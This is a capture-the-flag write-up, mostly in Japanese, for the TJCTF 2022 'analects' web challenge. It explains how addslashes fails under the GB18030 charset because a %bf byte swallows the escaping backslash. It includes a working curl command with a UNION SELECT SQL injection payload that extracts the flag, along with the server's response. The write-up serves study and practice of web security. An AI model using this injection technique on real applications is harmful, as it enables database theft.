Rating:

# analects:web:246pts
confucius was a cool guy I think he said some things
[analects.tjc.tf](https://analects.tjc.tf/)

Downloads
[server.zip](server.zip)

# Solution
サイトとソースが渡される。
Analects of Confucius
[site.png](site/site.png)
論語の検索サイトのようだ。
ソースを見るとphpは以下のようであった。
```php
query($sql);

while ($row = $result->fetch_assoc()) {
$row["chinese"] = mb_convert_encoding($row["chinese"], "UTF-8", "GB18030");
$row["english"] = mb_convert_encoding($row["english"], "UTF-8", "GB18030");
array_push($ret, $row);
}
$result->free_result();

return $ret;
}

header('Content-Type: application/json; charset=UTF-8');
echo json_encode(search());
?>
```
SQLiが可能かと疑うが、`addslashes`に通っており安全に見える。
ここで、GB18030という文字コードが使われていることに注目する。
配布された1-dump.sqlにも`CHARSET=gb18030`とされている。
よく知られている`addslashes`の文字コードを利用したSQLiである。
入力として`%bf%27`を考えると`'`(`%27`)をエスケープするため`\'`(`%5c%27`)へ置換する。
全体として`%bf%5c%27`となるが、先頭の`%bf%5c`が中国語のマルチバイト文字と解釈され、サニタイズに失敗する。
これによりSQLiが可能となったので、ソースの3-flag.shよりわかるflagを取得すればよい。
```bash
$ curl "https://analects.tjc.tf/search.php?q=%bf%27%20UNION%20SELECT%201,%201,%201,%201,%201,%20flag%20FROM%20flag%20--%20satoki"
[{"id":"1","book":"1","chapter":"1","number":"1","chinese":"1","english":"tjctf{h0w_t0_h4v3_go0d_mor4l5??}"}]
```
flagが得られた。

## tjctf{h0w_t0_h4v3_go0d_mor4l5??}

Original writeup (https://github.com/satoki/ctf_writeups/tree/master/TJCTF_2022/analects).